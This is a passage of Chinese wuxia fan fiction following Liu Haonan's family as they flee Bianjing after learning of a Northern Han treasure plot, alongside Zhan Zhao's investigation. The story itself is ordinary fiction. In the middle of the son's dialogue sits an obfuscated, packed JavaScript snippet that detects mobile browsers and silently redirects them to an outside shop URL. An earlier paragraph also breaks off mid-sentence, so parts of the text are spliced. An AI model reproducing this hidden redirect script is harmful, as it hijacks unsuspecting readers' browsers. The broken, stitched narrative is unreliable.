他轻轻握住妻子的手,感受着她掌心的温暖与薄茧,低声道:“只是,玉女门富甲天下,资源无尽,聂隐娘又对她宠溺过甚,予取予求。我担心那孩子被这般骄纵着,将来不知物力维艰,不懂惜福惜缘。” 他想起那枚碎裂的古玉诀,仍是肉痛不已,更庆幸女儿此番来去匆匆。否则,依她这般视珍宝如寻常玩物、挥霍无度的脾气,再加上排风对她是毫无原则的宠溺纵容,自己这为父的、身为华山弟子的最后一点尊严和坚持,怕是要在她母女二人一致的“歪理”下,荡然无存了。 杨排风低头,指尖无意识地描摹着怀中那枚传音螺的形状,许久,才轻叹一声,那 33. 北汉宝藏 晨光微熹,薄雾如轻纱般缠绕着汴京城的街巷。刘皓南将妻子杨排风妥善安置后,换上一身半新不旧的靛蓝道袍,以“刘先生”的身份,再度走向金府。他手持罗盘,神色平静,理由仍是勘察风水异动。 穿过影壁,踏入前厅,便与似乎早已等候在此的金老爷迎面相遇。 金老爷今日身着一袭赭色暗八仙纹蜀锦长袍,脸上堆着惯常的和气笑容,双手交叠于腹前,三枚帝王绿翡翠扳指在晨光下泛着内敛而冰冷的光。他目光看似随意地扫过刘皓南,眼底却藏着洞悉世情的冷冽审视,可谓“面慈眼毒”。 “刘先生去而复返,真是尽心。” 金老爷声音温和,甚至带着些许赞赏,只是那语调在“尽心”二字上略微一顿,眼底的笑意深了几分,却未达眼底,“只是风水一道,讲究个心静自然。先生昨日似乎有些……‘俗务’缠身?” 他话锋似转非转,目光若有若无地掠过刘皓南的手,那双手骨节分明,指腹带着薄茧,绝非寻常地理先生所有。“听闻醉月轩昨日新排了歌舞,倒是热闹。不过嘛,有些热闹,看看便好,沾上了,难免手忙脚乱,失了方寸。先生说是也不是?” 他语带双关,既点出刘皓南去过醉月轩,又暗讽其“急色”之举的笨拙失态,却又不着痕迹,仿佛只是寻常寒暄。 刘皓南心头微凛,金老爷这话听起来平常,实则句句意有所指,既显示了对城中动向的了如指掌,又暗指他举止有异。他面上不显,只拱手淡然道:“金老爷消息灵通。在下偶经其地,确见喧嚣,不及贵府清静。风水之事,关乎地气流转,不敢因外物纷扰而懈怠。” 金老爷笑容不变,眼中精光一闪即逝:“先生说的是。地气关乎根本,自然要慎之又慎。不过这人气嘛,有时也能影响地气。就好比昨日先生那番‘急公好义’,动静可不小,怕是惊扰了不少地气安宁?” 他将“急公好义”四字说得意味深长,再次暗指醉月轩之事,却依旧不点破,只是含笑看着刘皓南,仿佛在等待他如何接话,那份老辣与心机,尽在不言中。 刘皓南知其意在试探,更知对方已起疑心,便不再多言,只道:“多谢金老爷提醒。在下这便去仔细勘验,务必理清脉络。” “先生请自便。” 金老爷笑眯眯地侧身让开,目光却如粘稠的蛛丝,在刘皓南背上停留片刻,才缓缓转身踱步离开,那背影依旧沉稳,却透着一股猫捉老鼠般的从容与审视。 是夜子时三刻。耶律皓南如暗夜幽灵般再度潜入金府,凭借上次探查的记忆,轻车熟路地伏于书房檐角最佳位置,并将气息收敛到极致。 书房内,烛光摇曳。金老爷面色铁青,手中攥着一本厚厚的洒金蓝皮账册,因用力而指节发白。他再无白日半分和气,猛地将账册“啪”一声重重摔在紫檀大案上,震得笔架乱颤。“糊涂东西!看看你干的好事!” 他声音因压抑的怒火而发颤,指着账册上某处,“丰乐楼、醉月轩……一掷千金,就为了结交些不着调的狐朋狗友,请回这么一尊煞神?!” 他几步抢到吓得缩脖子的金不换面前,烛光将他因愤怒而有些扭曲的脸映得忽明忽暗:“为父平日是如何教你的?钱财要花在刀刃上!你看看你,银子流水般花出去,就给我请回这么个祸害?!” 他戳着账册,又指向门外虚空,仿佛刘皓南就站在那里,“那刘皓南是什么人?啊?你以为他真是走街串巷、混口饭吃的风水先生?!” 金老爷喘了口粗气,眼中寒光迸射,压低了声音,却更显狠厉:“为父虽无缘得见那位曾权倾辽国的耶律皓南真容,但你以为他那等人物,会是寂寂无名之辈?辽国曾经的实权国师,手掌军政,常年与宋、夏周旋于疆场,其年岁、形容、气度,乃至某些深入骨髓的行事习惯,在南北真正有心的上层人物耳中,绝非秘密!你看看那位刘先生,身形挺拔如松,步履间自有法度,目光锐利藏锋,这年纪,这做派,像是浪迹江湖、看人脸色吃饭的风水先生?!” 他越说越气,又重重拍了下账册:“最可笑是他在醉月轩那出‘急色’戏。你花了那么多银子,就请回这么个‘风流人物’?你见过哪个急色之徒,撕扯女人衣衫像在战场上给同僚紧急处理箭伤、撕开战袍止血!那手法,干脆利落得毫无狎昵,只有目的明确的‘处理’!这分明是行伍之中,甚至可能是军中医官或高阶将领处理伤患时才会有的、近乎本能的利落手法!我怎么生了你这么个有眼无珠、只会挥霍的蠢东西! 这等人物,就算改了名姓,敛了锋芒,那股子浸到骨子里的味道和那些改不掉的习惯,在明眼人看来,就如同秃子头上的虱子!你倒好,花了老子的钱,把这等煞星恭恭敬敬请进了门!” 金不换被他骂得脸色惨白,踉跄后退,不慎撞到茶几。金老爷一把揪住他衣领,声音嘶哑阴冷,几乎是从牙缝里挤出来:“耶律皓南!刘皓南!他还有另一个身份——北汉刘氏皇孙!这事在宋辽高层不是什么绝顶秘密!此人智计超群,心狠手辣,睚眦必报。你引狼入室,是想让金家满门,为你这败家行径陪葬吗?!” 看着儿子魂不附体、几乎瘫软的模样,金老爷眼中闪过浓重的厌恶与失望。他强压怒火,甩开金不换,声音恢复了冰冷,却更令人胆寒:“事已至此,骂你这废物有何用?此人疑心已起,必不罢休。若他真是为追查旧事或那东西而来……” 他眼底掠过一丝毫无人性的决绝,目光瞥向内院方向,“若无法转圜,就将牡丹处置了,做成张子游那穷酸贼心不死,再次潜入□□未遂、双方同归于尽的现场……线索断在她这儿,一了百了。” “父亲!不可!牡丹是您亲女儿,我亲妹妹啊!” 金不换骇然惊呼,涕泪横流。 金老爷冷漠一瞥,语气毫无波澜,甚至带着一丝不耐:“亲女儿?成大事者,至亲亦可舍。家里银钱让你这般挥霍,已是败家。如今更是招惹如此煞星,一个丫头,若能换得全家平安,消弭祸端,已是她的造化。妇人之仁,只会让金家基业和你这条小命一起完蛋!” 其心狠与对财权的绝对掌控,在此刻显露无遗。 说罢,他不再理会瘫软在地、如丧考妣的儿子,阴沉着脸转身,熟稔地启动博古架上的机关。密室门悄无声息地滑开,他一把拽起失魂落魄的金不换,拖了进去。 暗处,耶律皓南凭借对金府布局的熟悉,早已无声无息移至上次探知的,更为隐蔽且能清晰听到室内对话的通风口附近,如壁虎般静静吸附。密室门开合的微弱气流与内里涌出的阴冷气息拂过他面颊。 密室内,金老爷指着墙上的北汉蟠螭纹,对惊魂未定的儿子低吼道:“蠢材!到现在还不明白?金家何以在短短二十年间聚起这泼天富贵?你以为是为父的点石成金?是你那早死的娘,她是北汉降臣卢善衡的亲姐姐。她嫁入金家时,带了一份东西过来,那是北汉复国宝藏的密钥之一。金家之后所有的生意本钱,打通关节的人脉,背后都有那批宝藏的影子。襄阳王近日催逼甚急,话里话外就是要动那批宝藏!” 通风口外,耶律皓南指尖深深掐入砖缝。夜风带着池塘腥甜拂过,却吹不散他心头的凛冽寒意与滔天怒意。金老爷那番精准如刀的剖析与斥骂,如同惊雷炸响——原来自己不仅“耶律皓南”的身份因拙劣模仿而暴露,连最为隐秘的“北汉皇孙”之身,对方也已知晓! 更让他心惊的是,对方对财权的掌控如此之严,从账册开销便能迅速锁定并拆穿自己的伪装,这份心机与眼力,实在可怕。 卢善衡、北汉复国宝藏、襄阳王……这些碎片在金老爷的低语中轰然拼合,而卢善衡旧宅的所在,更是关键。危机已迫在眉睫,且敌人远比他想象得更了解他的底细。他缓缓松开手指,眼中寒芒如冰。必须立刻动身,赶往卢善衡旧宅所在之地,抢在所有人前面,揭开谜底,掌握主动。 四更将尽,汴京城沉睡在一天中最深的夜色里。客栈最偏僻那间房的木门被无声推开一道缝隙,刘皓南闪身而入,动作迅捷如狸猫,反手掩门,插上门栓,一气呵成。他带进一身浓重的夜露寒气,衣衫下摆甚至沾着几片草叶和湿泥,径直走到榻前,身上那股冰冷的肃杀之气瞬间冲散了室内残存的暖意。 “排风,醒醒。”他声音压得极低,沉静中带着不容置疑的紧迫,手上动作更快——已俯身从床底暗格拖出两只早已收拾妥当的粗布行囊,行囊捆扎得结实利落,显然是早就备下的应急之物。 杨排风从浅眠中惊醒,多年刀头舐血的警觉让她瞬间清醒。借着窗纸透进的、黎明前最微弱的天光,她看见丈夫站在榻前,侧脸线条绷紧,眼神是十数年来罕见的凝重,眉宇间凝聚着一股山雨欲来的沉郁。她没有立刻发问,只是迅速坐起身,指尖触及他冰凉的袖口——那里不仅沾着夜露,还带着一种微带腥气的湿意,是金府后花园那片人工湖特有的池水味道。他刚夜探了金府,此行绝不轻松。 刘皓南将一只较轻的行囊塞进她手中,语速快而清晰,每个字都斩钉截铁:“汴京已成是非之地,不可再留。金家与北汉旧宝、襄阳王谋逆之事皆有牵连,我今夜潜入,虽有所获,但恐已打草惊蛇。”他顿了顿,侧耳倾听窗外动静,确认无人窥伺,才继续道,声音压得更低,却字字如铁,“那金老贼心狠手辣,为灭口连亲生女儿都可舍,岂会容我安然离去?再滞留下去,不仅是金家,恐怕襄阳王乃至朝廷的眼线都会闻风而动。届时你我皆有杀身之祸,绝无侥幸。” 他目光投向窗外渐次泛白的天际线,那里隐约传来第一声鸡鸣,“更何况,展昭一旦醒来,必能察觉古玉诀碎片痕迹。以包拯之能,顺藤摸瓜,深究下去,我的身份,过往一切,皆难遮掩。必须在他醒来之前,远离汴京。” 杨排风静静听完,脸上没有半分惊讶或犹豫,只紧了紧手中的行囊背带。十几年夫妻,无数次生死边缘的携手与共,她太懂他这般神色意味着什么——那是危险迫在眉睫、必须立刻远遁的警报。无需多问,信任与默契早已刻入骨髓。她迅速起身,两人动作麻利地褪下身上的普通布衣,换上早已备好的,沾染了灰尘和补丁的粗布短打,又用客栈灶间取来的冷灰,随意在脸上、脖颈、手背抹了几道,掩去原本的肤色与轮廓,顷刻间便从一对气质不凡的夫妇变成了为生计奔波的乡下人模样。收拾停当,刘皓南再次确认门外廊下无人,两人一前一后,如两道融入夜色的影子,从客栈后院一处早已看好的矮墙翻出,悄无声息地没入黎明前最深最沉的黑暗之中,连一声犬吠都未惊起。 天色将明未明,东方天际只透出一线鱼肚白。夫妇二人已出汴京东门三里有余。官道旁是片稀疏的杂木林,晨雾在林间缭绕,如乳白色的薄纱,模糊了远近景物。空气清冷,带着泥土和草木的气息。刘皓南正欲催促杨排风加快脚步,趁路上行人尚少尽快远离,却见道旁一株枝干虬结的老槐树后,身影一闪,转出个穿着褪色青布短衫、作寻常农家少年打扮的人来,脸上还故意抹了两道泥印子,笑嘻嘻地蹦到路中间,张开双臂——正是他们的儿子刘朔。 “爹!娘!惊喜不?”刘朔咧嘴笑着,露出一口白牙,在渐亮的天光下显得格外精神。他身后,竟跟着三头看起来颇为健壮的骡子,每头骡子背上都驮着两个鼓鼓囊囊的粗布大包裹,用麻绳捆得结实实。那包裹显然分量不轻,沉甸甸地将骡背都压得微微下弯,骡子走动时,包裹里隐隐传出金属磕碰的闷响,显然绝非衣物干粮之类轻便之物。 杨排风又惊又喜,上前一把拉住儿子,上下打量,见他全须全尾,神色如常,才略松了口气,忍不住低声问:“朔儿,你怎么在此?这些是……?” 刘朔却拍拍最近那头骡子背上最沉的包裹,下巴微扬,一脸“理不直气也壮”的得意模样:“喏!这是还您的饭钱!还有路费!” 他眨了眨眼,压低声音,却掩不住话里的兴奋,“昨夜见您二位匆匆出门,我想着不能白跑一趟汴京,就顺便去金家府库里逛了逛,‘借’了点自家钱财出来。他们家库房看守也就那么回事,东西放得倒是挺实在。” 他见父亲眉头一皱,目光如电般扫来,立刻抢着说道,声音不大,却说得振振有词:“爹您别瞪眼!我想了想,好歹我也算……嗯,北汉皇孙之后不是?他老金家靠咱北汉的宝藏发的家,这些年吃得满嘴流油,我拿回点自家祖宗的东西,天经地义。总不能留着继续便宜了襄阳王那老贼,让他拿去招兵买马、祸害百姓吧?” 少年叉着腰,道理一套一套的,“再说了,昨夜看您二位走得那么急,身上盘缠带够了没?穷家富路,有备无患嘛。您看,这骡子脚力不错,路上还能代步,多好!” 刘皓南看着儿子这副又得意又带着点狡黠的模样,再看看那三头骡子背上沉甸甸、明显价值不菲的包裹,心头一时间五味杂陈。既欣慰儿子胆大心细,行动果决,在这等危急时刻竟能想到并成功弄来这些“资财”,显然这些年没白教,应变能力远超同龄人;可又头疼这小子无法无天、顺手牵羊的毛病是越来越熟练了,金府守卫再寻常,那也是龙潭虎穴,他竟能一夜之间搬出这许多财物,还不惊动旁人——这“手艺”和胆子,定是平日里被那个万事不拘小节,只求痛快的师叔凌霄子给纵容出来的。回去非得好好说道说道不可。 杨排风已快步上前,解开一个包裹的边角,里面赫然是码放整齐,黄澄澄的金锭,在渐亮的晨光下反射着诱人又刺眼的光芒。她倒吸一口凉气,猛地抬头看向儿子,眼中满是惊愕与担忧:“朔儿,你这……这也太……” “娘您放心,”刘朔凑近些,眨眨眼,脸上是少年人干了件大事后掩饰不住的,带着点狡猾的得意,“我手脚干净得很,用的是师叔教的‘清风过隙’法门,进去出来都没碰响机关,还顺手给他们库房锁眼留了点‘小纪念’。金家那老东西,这会儿恐怕还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185061|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搂着账本做梦,想着怎么巴结襄阳王呢。等他发现,咱们早走远了!” 那神情,活脱脱一只成功从猎人眼皮底下偷了鸡还得意洋洋的小狐狸。 刘皓南听着儿子的话,又瞥了一眼那沉甸甸的骡队,最终只是几不可闻地叹了口气,摇了摇头。非常之时,行非常之事。朔儿此举虽属胡闹,但确也解决了他们仓促出行可能面临的盘缠问题,这些财货,或可成为他们下一步行动的助力。他不再多言,目光锐利地扫视来路,汴京城方向的官道上已隐约可见早起赶路的行人身影。 “走吧。”他声音低沉,带着不容置疑的决断,率先牵过一头负载相对较轻的骡子,“此地不宜久留,速离为要。” 说罢,轻轻一抖缰绳,骡子顺从地迈开步子。杨排风会意,立刻牵起另一头。刘朔也麻利地牵上最后一头,一家三口混入渐渐多起来的早行商旅之中,沿着官道,向着未知的前路,迅速消失在越来越浓的晨雾与渐亮的天光里。身后,汴京城巍峨的轮廓在雾气中若隐若现,仿佛一头逐渐苏醒的巨兽,而他们必须在这巨兽完全醒来、张开獠牙之前,逃得足够远。 与此同时,千里之外,玉女峰绝顶。 罡风呼啸,卷动着无边云海,在千仞绝壁间奔腾翻涌,如天河倒泻,又似雪浪排空。一座精巧绝伦、飞檐如翼的观阁,便悬于这翻腾的云海之上,背倚孤峰,俯瞰苍茫,宛如传说中的九天仙宫,不染凡尘。阁内陈设古朴,燃着清心宁神的檀香,香气与自门窗缝隙间流入的、带着寒意的云气交织在一起。 刘望舒规规矩矩地跪坐在一个蒲团上,身姿挺拔,小手却有些紧张地攥着衣角。她对面三尺处,一袭白衣胜雪的聂隐娘正安然跽坐,素手调弄着红泥小炉上的茶铫,动作行云流水,透着说不出的雅致与静谧。水将沸未沸,发出细微的嘶鸣。 女童定了定神,开始复述昨夜的经历,声音清脆却带着不易察觉的紧绷。她讲得尽量简洁,但关键处丝毫不漏,尤其说到师兄遇险、自己迫不得已动用“玄火古玉诀”才将其救出时,语气不自觉地加重,偷偷抬起眼帘,迅速瞟了一眼师父的脸色。 那玄火古玉诀,据她所知乃是世间罕有的奇珍,蕴含纯阳离火之精,不仅威力巨大,更有诸般妙用,相传存世不过五指之数。师父当年赐予她时曾言,此物可遇不可求,须得谨慎使用。昨夜情急之下动用,虽是为了救人,但毕竟是擅自做主,且用掉了如此珍贵的法器……她心里着实有些打鼓,小脑袋微微垂下,准备迎接师父的责备,甚至惩罚。 然而,预想中的斥责并未到来。聂隐娘非但未恼,听完徒儿略显忐忑的禀报,反而停下了烹茶的动作,随即抚掌大笑! “哈哈!好!甚好!” 笑声清越悠扬,如同冰泉击玉,又似金钟初叩,穿透观阁,在浩瀚云海之间荡开层层回音,竟一时压过了峰顶的罡风呼啸。她眼中非但没有半分不悦,反而盈满了毫不掩饰的激赏之色,袖袍一拂,翩然站起身来,白衣随着动作流转,宛如云气自成。 “临危不乱,取舍果决!救人于水火,不惜重宝!这才是我玉女门人应有的担当与气魄!” 聂隐娘语气铿锵,带着一种睥睨世情的傲然。她走到跪坐的徒儿身前,伸出纤长手指,轻轻点了点小徒弟光洁的额头,动作带着亲昵与赞许。 “傻孩子,法器是死的,人是活的。莫要本末倒置。” 她看着徒儿有些发愣的小脸,笑意更深,语气却斩钉截铁,带着不容置疑的霸道,“关键时刻,别说只是一枚古玉诀,便是十枚、百枚,只要用在该用之时,该救之人身上,该用则用,何须吝惜?!若是为了一枚死物,便瞻前顾后,畏首畏尾,眼睁睁看着同门或该救之人陷于危难,那才是辱没了我玉女门的声名!婆婆妈妈,斤斤计较于区区外物得失,岂是我辈风范?” 这番话如醍醐灌顶,瞬间冲散了刘望舒心中那点残留的不安与忐忑。她仰着小脸,看着师父在云气缭绕中愈显超凡脱俗的身影,眼睛一点点亮了起来。 说罢,聂隐娘袖袍再拂,动作潇洒写意。只见数道流光溢彩的宝光自她广袖中鱼贯飞出,如同拥有灵性一般,悬停在刘望舒身前,缓缓旋转,散发着令人心醉的灵力波动。 那是一套七枚拳头大小、薄如蝉翼、流转着赤橙黄绿青蓝紫七彩光晕的琉璃罩,光华潋滟,似能将一切攻击柔化化解;一根通体银白、约尺许长、两头尖尖的梭形法器,隐隐有风雷之声内蕴,显然是极佳的飞遁之宝;还有一枚温润剔透、雕琢着栩栩如生凤凰涅槃图案的玉佩,凤鸣隐隐,生机盎然。 “此乃‘七彩琉璃罩’,可抵金丹修士全力一击;‘遁天梭’,瞬息百里,逃遁保命的不二之选;这‘涅槃佩’嘛,贴身佩戴,可挡一次致命伤,并激发潜力,助你迅速恢复。” 聂隐娘负手而立,白衣在涌动的云气中飘飘欲仙,语气随意得仿佛在谈论天气,“拿着吧,予你防身。我聂隐娘的徒弟,行走江湖,岂能无宝傍身,让人小觑了去?” 她微微俯身,看着徒儿瞬间变得亮晶晶的眼睛,一字一句,清晰而有力地说道:“往后遇事,给为师记住:玉女门的道理,就是天底下最大的道理!我徒儿行事,但求无愧于心,何须看他人眼色,计较世俗得失?” 刘望舒仰头望着师父,只觉得师父的身影在云光映衬下无比高大,说出的每一个字都仿佛蕴含着天地至理。心中最后那一丝因擅自使用珍贵古玉诀而生的忐忑,此刻早已烟消云散,取而代之的是全然的信服,无比的骄傲,以及被师父认可后的满满欢喜。她重重点头,声音清脆而坚定:“弟子谨记师父教诲!” “嗯,去吧,继续清修。心无挂碍,方能进益。” 聂隐娘随意地摆摆手,转身望向观阁外那变幻莫测、浩瀚无垠的云海深处,唇角泛起一丝几不可察的、满意而又傲然的弧度。 刘望舒小心翼翼地捧起悬浮在身前的新法器,感受着掌心传来的或温润、或清凉、或轻灵的各异触感,恭恭敬敬地行礼退出观阁。一踏出门口,她的脚步立刻变得轻快无比,几乎要跳跃起来,仿佛下一刻就能乘着这山间的云雾飞起来。 绚烂的晨光终于穿透重重云海,洒落在玉女峰顶,也照在女童发间那支师父所赐的青玉莲冠上,流转着温润而晶莹的光泽,映亮了她满是欢喜的小脸。 师傅非但没责怪,反而又赏了这许多,看起来更厉害的宝贝!嘿嘿,还是师傅最懂我!最疼我!师傅说的果然都是对的! 女童心中那点“擅自使用古玉诀”的细微阴霾,此刻早已被抛到九霄云外,化作了满满的底气与几乎要溢出来的欢喜。她握紧手中那枚银光流转的“遁天梭”,只觉得浑身都充满了力量,师父那霸气凛然的话语在耳边回响——“玉女门的道理,就是天底下最大的道理!” 她觉得,师父说的每一句话,都是这世上最正确、最不容置疑的真理! 34. 迷雾渐生 晨光如剑,刺破笼罩汴京城的最后一片薄雾,带着初秋的凉意,透过窗棂,在开封府内室青砖地面上投下斑驳的光影。展昭在榻上缓缓睁开双眼,后心处传来隐隐的钝痛,像一把并不锋利却沉甸甸的凿子,正将他从一片混沌的黑暗中凿醒,也将昨夜御街那场惊心动魄,失控而混乱的对决,一寸寸钉回脑海。 他撑起身子,环顾四周,熟悉的陈设让他确认自己已安全回到府衙内室。试着缓缓运转内力,经脉中滞涩之感依旧,但那股焚烧灵智,催发狂乱的邪异力量却已被一股中正平和的清圣之气牢牢压制。这气息温润醇厚,绝非寻常解咒手法能残留,更像是某种极为高深、蕴含着浩然正气的法宝或功法所遗留。是谁? 他起身,更衣,动作因内息不畅而略显迟缓。当指尖触到昨夜所穿官服袖口时,一道不起眼的、边缘焦黑的裂痕,让他指尖微微一滞。这是巨阙剑失控时,暴走的剑气划过留下的痕迹,再偏一寸,便能断筋裂骨。展昭凝视着那道裂痕,眸色渐深,如同沉入寒潭的古井。即便在血魇咒最疯狂、神智几乎沦陷的时刻,一些破碎的片段仍如风中残烛,在记忆深处明明灭灭:猩红扭曲的视野、百姓惊恐奔逃的呼喊、自己挥剑时那完全不听使唤、仿佛被无形丝线操控的臂膀…… 还有……最后那一刻,一道炽烈如流星、拖着灼热尾焰的火光,破空而来,带着一种决绝的净化之力,狠狠撞碎了他眼前的猩红与疯狂,将他从失控的悬崖边硬生生拉了回来。 辰时三刻,展昭换上一身寻常公服,以巡查御街、安抚百姓为由,重返昨夜事发之地。长街已恢复了往日秩序,早市的叫卖声、讨价还价声、车轮辘辘声交织成一片市井喧嚷,唯有青石板缝隙里那几道新鲜深刻的剑痕,以及路边几处被剑气余波扫断的旗杆、摊板,无声地昭示着昨夜的不寻常。 他看似随意地走着,目光却如最精密的梳篦,一寸寸扫过街面、墙角、树根。行至那株枝繁叶茂的老槐树下时,几点在晨光下异常晶莹的反光,骤然刺入他的眼帘——三片玉石碎片,散落在树根一处不易察觉的凹陷处,最大的一片也不过指甲盖大小,边缘呈不规则的断裂状,断面崭新。 展昭脚步顿住,并未立即上前拾取。他先以指尖凌空虚点碎片,一股微弱的、但与他经脉中残留气息同源的清圣之感传来,让他心下一沉。这才缓步上前,蹲下身,小心翼翼地将最大那片碎片拈起,举到透过槐叶缝隙漏下的阳光下细看。 玉质剔透无暇,内里天然蕴生着火焰般的纹路,仿佛在玉髓中燃烧。碎片表面,以极细的笔触阴刻着玄奥繁复的符文,即便已经碎裂,那些笔画的沟壑间,竟仍隐隐有淡金色的微光在缓缓流动,带着一种古老而玄妙的气息。 玄火古玉诀! 展昭呼吸骤然一滞,捏着碎片的手指不自觉地收紧。这气息,这纹路,他绝不会认错!此物并非寻常江湖门派可有,而是他师门——玉女门一脉秘藏的宝物之一!多年前,他还未下山入公门时,一次师门小聚,师尊曾信手取出几样宝物与弟子们品鉴,其中便有这玄火古玉诀。师尊当时语气淡然:“此乃先秦方士采地火精英、合天外奇金所炼,有破邪镇魔、涤荡污秽之能,世间所存,不过五指之数。” 虽未明言其具体价值,但当时那古玉诀悬于师尊掌心,自然流转的七彩宝光和散发出的沛然清圣之气,已让所有弟子明白,这绝对是师门重宝,等闲不会动用。如今,这枚师尊提及都颇为珍视的师门重宝,竟已碎裂,成了这几片散落在汴京街头的残玉…… 昨夜那些零碎、模糊的记忆碎片,在这一刻被这玉诀残片轰然串联、拼合。不是刘先生独自制住了他。那道关键时刻击破邪咒、救他于疯狂的流星火光……是那孩子!是年仅七岁的小师妹刘望舒掷出了这枚玄火古玉诀!那孩子是师尊的关门弟子,是刘皓南的幺女,自己为数不多几次回山探望师尊时,总能看到那小小的人儿,或是在云海崖边笨拙地练习吐纳,或是抱着比她人还高的扫帚,跟在师姐们后面假装打扫庭院,一双眼睛亮晶晶的,对什么都充满好奇。他记得有一次,自己下山前,那小人儿还偷偷拽着他的衣角,小声问他能不能从山下带个糖人回来,因为“师姐们说山下的糖人可甜了,可我还没吃过”……那样一个被师尊和师姐们捧在手心、天真懵懂的小丫头,竟为了救他这个不成器的师兄,毫不犹豫地毁掉了师尊赐予她防身的、如此珍贵的师门重宝! 展昭紧紧握住掌心的碎片,玉石的边缘硌得他掌心生疼,却远不及心头翻涌情绪的万分之一。一股温热的感激如暖流涌过心田,但随即,便被更汹涌、更沉重的羞愧淹没,几乎让他喘不过气。他展昭,堂堂御前四品带刀护卫,开封府尹麾下得力干将,自诩行走江湖,办案十余年,见过多少风浪,破过多少奇案,如今竟在京城御街,天子脚下,中了这等邪术,失了神智,险些酿成大祸!最终,竟要靠一个年仅七岁、被师尊和师姐们小心呵护,连糖人都没吃过几次的小师妹,牺牲她随身携带的护身至宝,才将自己从疯狂边缘拉回。这份毫不犹豫、舍命相护的纯粹之情,比世间任何珍宝都更让他动容,也更让他无地自容,只觉自己这师兄当得实在窝囊,竟要年幼的师妹付出如此代价来救! 然而,更深层的忧虑如冰冷的潮水,紧随其后,席卷而来。玄火古玉诀乃是师门重宝,师尊将其赐予望舒防身,足见对这小弟子的爱护与重视。而她昨夜毫不犹豫便动用了……这只能说明,昨夜情形之凶险,已到了千钧一发、非如此不能救命的境地!那“血魇咒”的歹毒与猛烈,远超他最初的预估!自己身中咒术后的失控程度与破坏力,恐怕也远比自己零碎记忆中的片段更加可怕!否则,以刘皓南之能,何至于要让年幼的女儿动用这般压箱底的宝物? 而能驱使这等阴毒邪咒、并能将其悄无声息下在自己身上之人,其来历、目的,以及背后可能牵连的势力……展昭猛地想起那咒力中挥之不去的、属于辽国萨满祭祀特有的阴寒与血腥气息;想起在金府探查时见到的那枚蟠螭纹玉佩;想起近来朝堂之上,襄阳王及其党羽某些看似无关、却隐隐指向军资与边境的诡异动静……这些看似散乱的碎片,在此刻的展昭脑中激烈碰撞、拼接,逐渐勾勒出一个令人不寒而栗的模糊轮廓。 他缓缓松开紧握的手,将三片碎玉仔细拾起,又从怀中取出一方素白汗巾,将其小心包好,放入贴身内袋。汗巾贴上胸口肌肤的瞬间,他能清晰地感觉到,玉诀碎片中残余的那股清圣之气,正丝丝缕缕地渗入经脉,如同最温和的泉流,继续安抚、镇压着心脉深处那缕顽固未散、依旧隐隐作痛的咒力余毒。 展昭起身,最后看了一眼老槐树下那片不起眼的凹陷,目光转向开封府方向。晨光将他的身影拉长,笔直地投映在清扫过的青石路面上。视线看似随意地掠过街角几个忙碌的早市商贩——那个卖炊饼的汉子,虽作汉人打扮,言语也无异,但其左侧耳垂上,一个几乎被厚茧掩盖的、辽人惯有的骨饰穿孔痕迹,却没能逃过展昭的眼睛;另一个挑着担子叫卖果子的,行走时步伐间距与腰胯用力的习惯,明显是常年骑马、不惯挑担的步态…… 汴京这片看似平静的水面之下,暗流汹涌,比想象中更深,更浊。 那位刘先生,不,是耶律皓南,他曾经的辽国国师身份,以及其北汉皇孙的隐秘,展昭心知肚明。这对父女身上无疑藏着诸多秘密,甚至可能与某些危险的漩涡有所牵连。但昨夜救命之恩是实,小师妹舍宝之情是真。这份情,他展昭记下了,必有所报。然而,眼前的迷局,水下的暗流,可能危及京城乃至江山社稷的阴谋,更要彻查、要破除! 展昭整了整身上因蹲伏而略有褶皱的公服袍袖,面容恢复了一贯的沉静与刚毅,迈开沉稳的步伐,向着开封府衙的方向走去。晨光将他的影子投在清扫过的青石板上,笔直,挺拔,如一杆蓄势待发、即将刺破迷雾的标枪。 他需要立刻见到包大人。有些话,必须尽快禀明;有些线索,必须立刻深挖;有些已然开始旋转的风暴漩涡,必须赶在它彻底成形、吞噬一切之前,就将其扼杀在萌芽之中! 月色如练,倾泻在浩渺江心,将一叶孤舟笼罩在清冷而静谧的光辉中。江水缓缓东流,泛起细碎的银芒,仿佛揉碎了满天星斗。连日舟车劳顿,杨排风体力毕竟不及常年习武的丈夫和精力旺盛的儿子,此刻终于抵不住倦意,在船舱内简陋的苇席上沉沉睡去,呼吸均匀。刘皓南独立船头,夜风拂动他半旧的衣袍,背影在月光下显得挺拔而沉静。他望着江面那动荡破碎的银光,眼神深邃,似在思索前路,也似在回顾过往。 舟身随着水波轻轻晃动。刘朔蹑手蹑脚地从船舱另一头蹭过来,像只灵巧的猫儿,挨到父亲身边,伸出手轻轻扯了扯刘皓南的衣袖。月光下,少年仰着脸,刻意摆出一副天真无邪、甚至带着点委屈巴巴的模样,声音压得极低,却字字清晰,带着少年人特有的、藏不住的小心思: “爹~您瞧妹妹,” 他努了努嘴,仿佛那通身华贵的小丫头就在眼前,“上次在玉女峰,好家伙!您知道她用啥捉弄我吗?冰蚕丝织的网!流光溢彩的,看着轻飘飘,结实得刀剑难伤,把我兜头罩住吊在山门前一天一夜!” 他语气夸张,带着心有余悸和说不清的羡慕,“还有那随手就扔出来的玄火古玉诀……啧啧,那通身的气派,宝贝跟不要钱似的,简直就是玉女门上下捧在手心里的宝贝疙瘩,仙气里都透着‘阔’字!” 